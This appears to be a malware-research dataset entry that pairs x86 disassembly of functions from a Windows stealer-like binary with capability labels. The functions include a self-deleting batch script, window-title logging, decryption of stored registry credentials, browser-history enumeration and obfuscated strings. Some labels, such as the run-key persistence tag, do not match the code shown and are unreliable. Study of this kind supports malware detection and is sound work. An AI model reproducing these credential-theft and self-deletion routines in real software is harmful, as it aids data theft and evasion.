joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c38b
Capabilities:
Query environment variable
Write file on windows

Disassembly:
mov eax, 0x154c
call fcn.0041ce38
sub esp, eax
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0
lea eax, [esp + 0x2c]
mov dword [esp], eax
call fcn.0041a59f
mov dword [esp + 4], 0xa
mov dword [esp], 6
call fcn.00416487
mov dword [esp + 4], eax
lea eax, [esp + 0x2c]
mov dword [esp], eax
call fcn.0041652e
mov dword [esp], str.TEMP
call sub.msvcrt.dll_getenv
lea edx, [esp + 0x2c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s.bat
mov dword [esp + 4], 0x204
lea eax, [esp + 0x334]
mov dword [esp], eax
call fcn.00419fa8
mov eax, dword [esp + 0x1550]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x1554]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._echo_off_r_nping_192.0.2.2__n_1__w__d__nul_2_1_r_nDEL__s___s___nul_2_1_r_ncall_:deleteSelfexit__b_r_n:deleteSelf_r_nstart__b____cmd__c_del____f0_exit__b_r_n
mov dword [esp + 4], 0x1000
lea eax, [esp + 0x538]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x153c], eax
cmp dword [esp + 0x153c], 0x95
jg 0x40c461
mov eax, 0
jmp 0x40c52e
mov dword [esp + 4], 0x41ed59
lea eax, [esp + 0x334]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [esp + 0x1538], eax
cmp dword [esp + 0x1538], 0
je 0x40c529
mov eax, dword [esp + 0x153c]
mov edx, dword [esp + 0x1538]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
lea eax, [esp + 0x538]
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x1538]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [esp], 0x41ed5c
call sub.msvcrt.dll_getenv
lea edx, [esp + 0x334]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s__c___s_
mov dword [esp + 4], 0x204
lea eax, [esp + 0x130]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 8], 0
lea eax, [esp + 0x130]
mov dword [esp + 4], eax
mov dword [esp], 0
call fcn.0040a8af
mov eax, 1
jmp 0x40c52e
mov eax, 0
add esp, 0x154c
ret

Function at 0x40caf6
Capabilities:
Check mutex on windows

Disassembly:
sub esp, 0x1c
mov dword [esp + 8], 0x41e62c
mov dword [esp + 4], 1
mov dword [esp], 0
call sub.KERNEL32.dll_CreateMutexA
sub esp, 0xc
mov dword [0x41e7b0], eax
mov eax, dword [0x41e7b0]
test eax, eax
jne 0x40cb2d
mov eax, 1
jmp 0x40cb3a
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
setne al
add esp, 0x1c
ret
Function at 0x40cfcb
Capabilities:
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x48c
mov byte [esp + 0x47f], 0
mov dword [esp + 4], 0x204
lea eax, [esp + 0x274]
mov dword [esp], eax
call fcn.0040af4f
xor eax, 1
test al, al
je 0x40d001
mov eax, 0
jmp 0x40d19c
mov dword [esp + 0x10], str.Settings.ini
lea eax, [esp + 0x274]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x41ee3a
mov dword [esp + 4], 0x104
lea eax, [esp + 0x170]
mov dword [esp], eax
call fcn.00419fa8
lea eax, [esp + 0x170]
mov dword [esp], eax
call fcn.0040aa34
test al, al
je 0x40d060
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [esp + 0x170]
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp + 4], 0x41ed59
lea eax, [esp + 0x170]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [esp + 0x478], eax
cmp dword [esp + 0x478], 0
je 0x40d167
mov eax, dword [esp + 0x490]
add eax, 4
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.0041a59f
mov eax, dword [esp + 0x490]
lea edx, [eax + 4]
mov dword [esp + 8], 0x20
mov eax, dword [esp + 0x494]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00419918
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x41ecdc
lea eax, [esp + 0x24]
mov dword [esp], eax
call fcn.004165ec
mov dword [esp + 0x10], 0x44
lea eax, [esp + 0x12c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x44
mov eax, dword [esp + 0x490]
mov dword [esp + 4], eax
lea eax, [esp + 0x24]
mov dword [esp], eax
call fcn.004166e1
mov eax, dword [esp + 0x478]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x44
mov dword [esp + 4], 1
lea eax, [esp + 0x12c]
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
cmp eax, 0x44
sete al
mov byte [esp + 0x47f], al
mov eax, dword [esp + 0x478]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
lea eax, [esp + 0x170]
mov dword [esp], eax
call fcn.0040aa34
test al, al
je 0x40d194
mov dword [esp + 4], 6
lea eax, [esp + 0x170]
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
movzx eax, byte [esp + 0x47f]
add esp, 0x48c
ret
Function at 0x40d1a4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebx
sub esp, 0x248
mov eax, dword [esp + 0x250]
mov eax, dword [eax + 0x618]
test eax, eax
jle 0x40d2d2
mov byte [esp + 0x27], 0x25
mov byte [esp + 0x28], 0x64
mov byte [esp + 0x29], 7
mov byte [esp + 0x2a], 0x25
mov byte [esp + 0x2b], 0x64
mov byte [esp + 0x2c], 7
mov byte [esp + 0x2d], 0x68
mov byte [esp + 0x2e], 0x74
mov byte [esp + 0x2f], 0x74
mov byte [esp + 0x30], 0x70
mov byte [esp + 0x31], 0x3a
mov byte [esp + 0x32], 0x2f
mov byte [esp + 0x33], 0x2f
mov byte [esp + 0x34], 0x25
mov byte [esp + 0x35], 0x73
mov byte [esp + 0x36], 0x25
mov byte [esp + 0x37], 0x73
mov byte [esp + 0x38], 7
mov byte [esp + 0x39], 0x25
mov byte [esp + 0x3a], 0x73
mov byte [esp + 0x3b], 0
mov eax, dword [esp + 0x250]
lea ebx, [eax + 0x408]
mov edx, dword [esp + 0x250]
mov eax, dword [esp + 0x250]
lea ecx, [eax + 0x204]
mov eax, dword [esp + 0x250]
mov eax, dword [eax + 0x614]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], ecx
mov edx, dword [esp + 0x254]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
lea eax, [esp + 0x27]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x200
lea eax, [esp + 0x3c]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x23c], eax
cmp dword [esp + 0x23c], 0
jle 0x40d2d5
mov eax, dword [esp + 0x250]
mov eax, dword [eax + 0x618]
mov edx, dword [esp + 0x23c]
mov dword [esp + 0xc], edx
lea edx, [esp + 0x3c]
mov dword [esp + 8], edx
mov dword [esp + 4], 0xc4
mov dword [esp], eax
call fcn.00408b8f
nop
jmp 0x40d2d5
nop
jmp 0x40d2d6
nop
add esp, 0x248
pop ebx
ret
Function at 0x40da18
Capabilities:
Get graphical window text

Disassembly:
push edi
push esi
push ebx
sub esp, 0x550
call sub.USER32.dll_GetForegroundWindow
mov dword [esp + 0x54c], eax
mov eax, dword [0x424480]
cmp eax, dword [esp + 0x54c]
je 0x40db30
mov eax, dword [esp + 0x54c]
mov dword [0x424480], eax
lea eax, [esp + 0x538]
mov dword [esp], eax
call sub.KERNEL32.dll_GetLocalTime
sub esp, 4
mov eax, dword [0x424480]
mov dword [esp + 8], 0x100
lea edx, [esp + 0x38]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.USER32.dll_GetWindowTextA
sub esp, 0xc
test eax, eax
je 0x40db30
movzx eax, word [esp + 0x544]
movzx edi, ax
movzx eax, word [esp + 0x542]
movzx esi, ax
movzx eax, word [esp + 0x540]
movzx ebx, ax
movzx eax, word [esp + 0x538]
movzx ecx, ax
movzx eax, word [esp + 0x53a]
movzx edx, ax
movzx eax, word [esp + 0x53e]
movzx eax, ax
mov dword [esp + 0x24], edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
lea eax, [esp + 0x38]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._r_n_r_n__s______.2d__.2d__d__.2d:_.2d:_.2d__r_n
mov dword [esp + 4], 0x400
lea eax, [esp + 0x138]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x548], eax
mov dword [esp + 8], 0
mov eax, dword [esp + 0x548]
mov dword [esp + 4], eax
lea eax, [esp + 0x138]
mov dword [esp], eax
call fcn.0040d74c
nop
nop
add esp, 0x550
pop ebx
pop esi
pop edi
ret
Function at 0x40fec8
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax + 8], 0x67452301
mov eax, dword [esp + 4]
mov dword [eax + 0xc], 0xefcdab89
mov eax, dword [esp + 4]
mov dword [eax + 0x10], 0x98badcfe
mov eax, dword [esp + 4]
mov dword [eax + 0x14], 0x10325476
mov eax, dword [esp + 4]
mov dword [eax], 0
mov eax, dword [esp + 4]
mov dword [eax + 4], 0
nop
ret

Function at 0x410324
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x22c
mov byte [esp + 0x21f], 0
mov eax, dword [esp + 0x238]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [esp + 0x234]
mov dword [esp], eax
call fcn.0041a59f
mov dword [esp + 4], 0x41f93e
mov eax, dword [esp + 0x230]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [esp + 0x218], eax
cmp dword [esp + 0x218], 0
je 0x410484
mov eax, dword [esp + 0x218]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], 1
lea eax, [esp + 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_fread
test eax, eax
je 0x410475
mov byte [esp + 0x20f], 0
lea eax, [esp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Path
mov dword [esp], 0
call fcn.00419b7e
add eax, 5
mov dword [esp + 0x214], eax
lea eax, [esp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x41f946
mov eax, dword [esp + 0x214]
mov dword [esp], eax
call fcn.00419b7e
add eax, 1
mov dword [esp + 0x210], eax
cmp dword [esp + 0x214], 5
jle 0x410475
mov eax, dword [esp + 0x210]
cmp eax, dword [esp + 0x214]
jle 0x410475
mov eax, dword [esp + 0x210]
sub eax, dword [esp + 0x214]
cmp eax, dword [esp + 0x238]
jae 0x410475
mov eax, dword [esp + 0x210]
sub eax, dword [esp + 0x214]
lea ecx, [esp + 0x10]
mov edx, dword [esp + 0x214]
add edx, ecx
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [esp + 0x234]
mov dword [esp], eax
call fcn.00419918
test eax, eax
setne al
mov byte [esp + 0x21f], al
mov eax, dword [esp + 0x218]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
movzx eax, byte [esp + 0x21f]
add esp, 0x22c
ret
Function at 0x411b6c
Capabilities:
Query environment variable

Disassembly:
push ebx
sub esp, 0x338
mov dword [esp + 0x24], 0
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov ebx, eax
mov dword [esp], str._6.sQ0sidCYYWQR56.fli
call fcn.0040b60e
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x204
lea eax, [esp + 0x29]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 4], 0x41f93e
lea eax, [esp + 0x29]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [esp + 0x32c], eax
cmp dword [esp + 0x32c], 0
je 0x411d49
mov dword [esp + 0x20], 0
jmp 0x411d10
mov dword [esp + 0x20], 0
mov dword [esp], str._s0W5WYWi_
call fcn.0040b60e
lea edx, [esp + 0x22d]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], 0
call fcn.00419b7e
cmp eax, 0xffffffff
je 0x411c55
lea eax, [esp + 0x22d]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], str._d_s_a
lea eax, [esp + 0x20]
mov dword [esp], eax
call fcn.00419f10
cmp eax, 0xffffffff
jne 0x411cd8
mov eax, 0
jmp 0x411d4d
mov dword [esp], str._RCld_
call fcn.0040b60e
lea edx, [esp + 0x22d]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], 0
call fcn.00419b7e
cmp eax, 0xffffffff
jne 0x411cad
mov dword [esp], str._sC66gW0S_
call fcn.0040b60e
lea edx, [esp + 0x22d]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], 0
call fcn.00419b7e
cmp eax, 0xffffffff
je 0x411cd8
lea eax, [esp + 0x22d]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x41fc70
lea eax, [esp + 0x20]
mov dword [esp], eax
call fcn.00419f10
cmp eax, 0xffffffff
jne 0x411cd8
mov eax, 0
jmp 0x411d4d
mov eax, dword [esp + 0x20]
test eax, eax
je 0x411d10
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0xffffffff
lea eax, [esp + 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xffffffff
lea eax, [esp + 0x24]
mov dword [esp], eax
call fcn.0041a022
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x32c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [esp + 0x22d]
mov dword [esp], eax
call sub.msvcrt.dll_fgets
test eax, eax
jne 0x411be7
mov eax, dword [esp + 0x32c]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [esp + 0x24]
add esp, 0x338
pop ebx
ret

Function at 0x411d55
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x2c
mov edx, dword [esp + 0x3c]
mov eax, dword [esp + 0x40]
mov dword [eax], edx
mov eax, dword [esp + 0x40]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 0x34]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x30]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
sete al
add esp, 0x2c
ret
Function at 0x4130c7
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x2c]
cdq
mov dword [esp + 0xc], 0
mov dword [esp + 4], eax
mov dword [esp + 8], edx
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call fcn.0040b542
test eax, eax
je 0x4130f6
mov eax, 0
jmp 0x413121
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.msvcrt.dll_fread
cmp eax, dword [esp + 0x28]
sete al
add esp, 0x1c
ret

Function at 0x413125
Capabilities:
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0x5c
mov dword [esp + 0x40], 0
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov eax, dword [esp + 0x68]
mov dword [esp], eax
call fcn.0041a59f
mov dword [esp + 0x10], 0xf0000000
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x4245c4
call sub.ADVAPI32.DLL_CryptAcquireContextA
sub esp, 0x14
test eax, eax
je 0x4132f1
mov eax, dword [0x4245c4]
lea edx, [esp + 0x40]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x8004
mov dword [esp], eax
call sub.ADVAPI32.DLL_CryptCreateHash
sub esp, 0x14
test eax, eax
je 0x4132d9
mov edx, dword [esp + 0x64]
mov eax, dword [esp + 0x40]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [esp + 0x60]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.ADVAPI32.DLL_CryptHashData
sub esp, 0x10
test eax, eax
je 0x4132ca
mov dword [esp + 0x28], 0x14
mov eax, dword [esp + 0x40]
mov dword [esp + 0x10], 0
lea edx, [esp + 0x28]
mov dword [esp + 0xc], edx
lea edx, [esp + 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], 2
mov dword [esp], eax
call sub.ADVAPI32.DLL_CryptGetHashParam
sub esp, 0x14
test eax, eax
je 0x4132ca
mov byte [esp + 0x47], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
jmp 0x413291
lea edx, [esp + 0x2c]
mov eax, dword [esp + 0x4c]
add eax, edx
movzx eax, byte [eax]
add byte [esp + 0x47], al
lea edx, [esp + 0x2c]
mov eax, dword [esp + 0x4c]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x68]
add edx, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._.2X
mov dword [esp + 4], 2
mov dword [esp], edx
call fcn.00419fa8
add dword [esp + 0x4c], 1
add dword [esp + 0x48], 2
cmp dword [esp + 0x4c], 0x13
jle 0x413240
movzx eax, byte [esp + 0x47]
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x68]
add edx, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._.2X
mov dword [esp + 4], 2
mov dword [esp], edx
call fcn.00419fa8
mov eax, 1
jmp 0x4132f6
mov eax, dword [esp + 0x40]
mov dword [esp], eax
call sub.ADVAPI32.DLL_CryptDestroyHash
sub esp, 4
mov eax, dword [0x4245c4]
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.ADVAPI32.DLL_CryptReleaseContext
sub esp, 8
mov eax, 0
add esp, 0x5c
ret
Function at 0x4132fa
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x89c
mov eax, dword [esp + 0x8b0]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [esp + 0x8ac]
mov dword [esp], eax
call fcn.0041a59f
mov eax, dword [esp + 0x8a8]
lea edx, [esp + 0x849]
mov dword [esp + 8], eax
mov dword [esp + 4], eax
mov eax, dword [esp + 0x8a4]
mov dword [esp], eax
call fcn.00413125
xor eax, 1
test al, al
je 0x413358
mov eax, 0
jmp 0x41358a
mov byte [esp + 0x873], 0
mov dword [esp + 0x844], 0x800
mov dword [esp + 0x88c], 0
mov dword [esp], str.Y0Zs5Nh.Sii
call fcn.0040b60e
mov dword [esp], eax
call fcn.0040b4e9
mov dword [esp + 0x88c], eax
mov dword [esp], str.P0Zs5uRs0W5dY5aC5C
call fcn.0040b60e
mov dword [esp + 4], eax
mov eax, dword [esp + 0x88c]
mov dword [esp], eax
call fcn.0040b4ff
mov dword [esp + 0x888], eax
lea eax, [esp + 0x844]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x44]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [esp + 0x849]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x8a0]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
jne 0x413576
lea eax, [esp + 0x44]
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x844]
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x8a4]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x8a8]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x34]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
lea eax, [esp + 0x2c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
lea eax, [esp + 0x3c]
mov dword [esp], eax
mov eax, dword [esp + 0x888]
call eax
sub esp, 0x1c
test eax, eax
je 0x413576
mov eax, dword [esp + 0x38]
mov dword [esp + 0x884], eax
mov edx, dword [esp + 0x34]
mov eax, dword [esp + 0x884]
mov ecx, dword [eax]
mov eax, dword [esp + 0x884]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [esp + 0x884]
mov eax, dword [eax + 8]
add eax, ecx
cmp edx, eax
jb 0x413560
mov eax, dword [esp + 0x38]
add eax, 0x24
mov dword [esp + 0x880], eax
mov edx, dword [esp + 0x38]
mov eax, dword [esp + 0x884]
mov ecx, dword [eax]
mov eax, dword [esp + 0x884]
mov eax, dword [eax + 4]
add eax, ecx
add eax, edx
mov dword [esp + 0x87c], eax
mov eax, dword [esp + 0x880]
mov edx, dword [eax]
mov eax, dword [esp + 0x87c]
add eax, edx
mov dword [esp + 0x878], eax
add dword [esp + 0x880], 0x10
mov eax, dword [esp + 0x880]
mov edx, dword [eax]
mov eax, dword [esp + 0x87c]
add eax, edx
mov dword [esp + 0x874], eax
mov eax, dword [esp + 0x874]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x878]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x8a4]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], str._c_S_a_S:_S_b_b_b_b
mov eax, dword [esp + 0x8b0]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x8ac]
mov dword [esp], eax
call fcn.00419fa8
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_LocalFree
sub esp, 4
mov eax, 1
jmp 0x41358a
mov eax, dword [esp + 0x88c]
mov dword [esp], eax
call fcn.0040b51d
mov eax, 0
add esp, 0x89c
ret
Function at 0x414109
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x78c
mov dword [esp], 0x8003
call sub.KERNEL32.dll_SetErrorMode
sub esp, 4
mov eax, dword [esp + 0x790]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s.
mov dword [esp + 4], 0x204
lea eax, [esp + 0x574]
mov dword [esp], eax
call fcn.00419fa8
cmp eax, 0xffffffff
je 0x41435d
lea eax, [esp + 0x230]
mov dword [esp + 4], eax
lea eax, [esp + 0x574]
mov dword [esp], eax
call sub.KERNEL32.dll_FindFirstFileA
sub esp, 8
mov dword [esp + 0x77c], eax
cmp dword [esp + 0x77c], 0xffffffff
je 0x414360
mov dword [esp + 4], 0x41ff7d
lea eax, [esp + 0x230]
add eax, 0x2c
mov dword [esp], eax
call fcn.0041a1d8
test eax, eax
je 0x414322
mov dword [esp + 4], 0x41ff7f
lea eax, [esp + 0x230]
add eax, 0x2c
mov dword [esp], eax
call fcn.0041a1d8
test eax, eax
je 0x414322
mov eax, dword [esp + 0x230]
and eax, 0x10
test eax, eax
je 0x414234
lea eax, [esp + 0x230]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x790]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x41f99a
mov dword [esp + 4], 0x204
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00419fa8
mov eax, dword [esp + 0x794]
lea edx, [eax + 1]
mov eax, dword [esp + 0x798]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00414109
jmp 0x414323
mov dword [esp], str.4RSdf.SC5
call fcn.0040b60e
lea edx, [esp + 0x230]
add edx, 0x2c
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0041a1d8
test eax, eax
jne 0x414323
lea eax, [esp + 0x230]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x790]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x41f99a
mov dword [esp + 4], 0x204
lea eax, [esp + 0x370]
mov dword [esp], eax
call fcn.00419fa8
lea eax, [esp + 0x370]
mov dword [esp], eax
call fcn.00413ad7
mov dword [esp + 0x22c], eax
mov eax, dword [esp + 0x22c]
test eax, eax
je 0x414323
mov eax, dword [esp + 0x22c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0x778], eax
mov eax, dword [0x4245c0]
mov dword [esp + 0x10], 1
mov edx, dword [esp + 0x778]
mov dword [esp + 0xc], edx
lea edx, [esp + 0x22c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [esp + 0x798]
mov dword [esp], eax
call fcn.0041a022
mov edx, dword [esp + 0x798]
mov dword [edx], eax
mov edx, dword [0x4245c0]
mov eax, dword [esp + 0x778]
add eax, edx
mov dword [0x4245c0], eax
jmp 0x414323
nop
lea eax, [esp + 0x230]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x77c]
mov dword [esp], eax
call sub.KERNEL32.dll_FindNextFileA
sub esp, 8
test eax, eax
jne 0x414183
mov eax, dword [esp + 0x77c]
mov dword [esp], eax
call sub.KERNEL32.dll_FindClose
sub esp, 4
nop
jmp 0x414360
nop
jmp 0x414361
nop
add esp, 0x78c
ret
Function at 0x414dea
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x4c
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0
mov eax, dword [esp + 0x50]
mov dword [eax], 0
mov dword [0x4245c0], 0
call fcn.0041379d
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x30]
test eax, eax
je 0x414e6a
mov eax, dword [esp + 0x30]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], eax
lea eax, [esp + 0x30]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 4], eax
lea eax, [esp + 0x38]
mov dword [esp], eax
call fcn.0041a022
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x34]
add dword [esp + 0x3c], eax
mov dword [esp + 0x28], 0
mov dword [esp + 8], str.History
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
mov dword [esp], 0x80000001
call fcn.004169e0
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x414ec2
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x28]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00414109
lea eax, [esp + 0x2c]
mov dword [esp], eax
call fcn.0040b4bf
mov eax, dword [esp + 0x28]
test eax, eax
je 0x414f12
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], eax
lea eax, [esp + 0x28]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 4], eax
lea eax, [esp + 0x38]
mov dword [esp], eax
call fcn.0041a022
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x34]
add dword [esp + 0x3c], eax
lea eax, [esp + 0x34]
mov dword [esp], eax
call fcn.00414368
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x414f62
mov eax, dword [esp + 0x34]
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], eax
lea eax, [esp + 0x24]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 4], eax
lea eax, [esp + 0x38]
mov dword [esp], eax
call fcn.0041a022
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x34]
add dword [esp + 0x3c], eax
mov eax, dword [esp + 0x50]
mov edx, dword [esp + 0x3c]
mov dword [eax], edx
mov eax, dword [esp + 0x38]
add esp, 0x4c
ret